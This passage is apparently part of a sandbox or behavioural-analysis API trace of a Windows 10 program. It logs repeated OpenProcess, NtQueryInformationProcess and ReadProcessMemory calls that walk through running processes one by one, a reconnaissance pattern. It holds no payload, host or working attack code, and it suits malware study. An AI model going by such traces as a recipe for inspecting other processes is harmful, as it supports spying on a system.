ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.266] malloc (_Size=0x16) returned 0xec9960 [0359.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec9960, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9960*, lpNumberOfBytesRead=0x0) returned 1 [0359.266] free (_Block=0xec9960) [0359.267] CloseHandle (hObject=0xa9c) returned 1 [0359.267] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0359.267] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0359.267] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.267] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0359.268] GetLastError () returned 0x0 [0359.268] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.269] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.269] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.269] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.269] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.269] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.269] malloc (_Size=0x7a) returned 0xe87c10 [0359.269] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87c10, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0359.270] free (_Block=0xe87c10) [0359.270] CloseHandle (hObject=0xa9c) returned 1 [0359.270] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0359.271] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0359.271] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.271] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.272] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0359.272] GetLastError () returned 0x0 [0359.272] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.273] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.273] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.273] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.273] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.273] malloc (_Size=0x5e) returned 0xeb6620 [0359.273] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6620, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0359.274] free (_Block=0xeb6620) [0359.274] CloseHandle (hObject=0xa9c) returned 1 [0359.274] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0359.274] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0359.275] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.275] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0359.276] GetLastError () returned 0x0 [0359.276] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.276] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.277] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.277] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.277] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.277] malloc (_Size=0x8a) returned 0xec7340 [0359.277] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7340, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0359.277] free (_Block=0xec7340) [0359.278] CloseHandle (hObject=0xa9c) returned 1 [0359.278] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0359.278] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0359.278] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.278] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.279] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0359.279] GetLastError () returned 0x0 [0359.279] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.280] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.280] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.280] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.280] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.280] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.280] malloc (_Size=0x88) returned 0xe879d0 [0359.280] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe879d0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe879d0*, lpNumberOfBytesRead=0x0) returned 1 [0359.281] free (_Block=0xe879d0) [0359.281] CloseHandle (hObject=0xa9c) returned 1 [0359.281] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0359.282] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0359.282] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.282] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.283] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0359.283] GetLastError () returned 0x0 [0359.283] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.283] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.284] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.284] malloc (_Size=0x68) returned 0xeb6380 [0359.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0359.284] free (_Block=0xeb6380) [0359.285] CloseHandle (hObject=0xa9c) returned 1 [0359.285] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0359.285] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0359.285] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.285] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.286] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0359.287] GetLastError () returned 0x0 [0359.287] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.287] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.287] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.288] malloc (_Size=0x6c) returned 0xea8f20 [0359.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea8f20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0359.288] free (_Block=0xea8f20) [0359.289] CloseHandle (hObject=0xa9c) returned 1 [0359.289] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0359.289] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0359.289] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.289] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.290] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0359.290] CloseHandle (hObject=0x0) returned 0 [0359.290] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0359.291] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0359.291] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.291] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.292] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0359.292] GetLastError () returned 0x0 [0359.292] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.293] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.293] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.293] malloc (_Size=0x8a) returned 0xec7ac0 [0359.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ac0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0359.294] free (_Block=0xec7ac0) [0359.294] CloseHandle (hObject=0xa9c) returned 1 [0359.294] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0359.294] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0359.294] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.295] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0359.296] GetLastError () returned 0x0 [0359.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 